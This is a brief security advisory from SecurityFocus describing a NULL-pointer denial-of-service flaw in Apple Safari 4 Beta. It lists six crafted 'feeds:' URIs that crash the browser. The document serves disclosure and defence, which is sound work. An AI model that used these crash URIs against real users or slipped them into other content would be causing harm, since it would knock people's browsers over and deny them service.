source: http://www.securityfocus.com/bid/33909/info

Apple Safari is prone to a denial-of-service vulnerability that stems from a NULL-pointer dereference.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Apple Safari 4 Beta is vulnerable; other versions may also be affected. 

The following example URIs are available:

feeds:%&www.example.com/feed/
feeds:{&www.example.com/feed/
feeds:}&www.example.com/feed/
feeds:^&www.example.com/feed/
feeds:`&www.example.com/feed/
feeds:|&www.example.com/feed/ 